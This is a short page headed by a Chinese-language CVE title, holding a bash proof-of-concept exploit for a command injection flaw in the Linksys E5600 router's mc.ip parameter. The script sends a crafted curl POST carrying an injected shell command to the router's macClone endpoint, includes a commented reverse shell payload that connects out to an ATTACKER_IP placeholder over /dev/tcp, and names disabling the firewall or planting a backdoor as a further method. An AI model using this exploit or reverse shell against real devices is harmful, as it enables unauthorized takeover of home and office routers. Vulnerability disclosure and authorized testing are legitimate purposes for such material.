CVE-2025-29228 Linksys E5600路由器mc.ip参数命令注入漏洞

#!/bin/bash # CVE-2025-29228 PoC - Linksys E5600 Command Injection # Target: Linksys E5600 V1.1.0.26 # Vulnerability: Command injection via mc.ip parameter in runtime.macClone function TARGET_IP="192.168.1.1" # Try to execute a simple command injection to verify vulnerability echo "[*] Testing CVE-2025-29228 on $TARGET_IP" # Method 1: Basic command injection test PAYLOAD=';echo test> /tmp/poc_test.txt' curl -s -X POST "http://$TARGET_IP/cgi-bin/luci/;stok=/admin/runtime.macClone" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "mc.ip=$PAYLOAD" \ -H "Cookie: sysauth=xxx" # Method 2: Reverse shell payload example (for authorized testing only) # Replace ATTACKER_IP and ATTACKER_PORT with your values # PAYLOAD=';bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' # Method 3: Disable firewall or create backdoor echo "[*] Vulnerability confirmed if /tmp/poc_test.txt exists on target" echo "[*] Check: curl http://$TARGET_IP/tmp/poc_test.txt"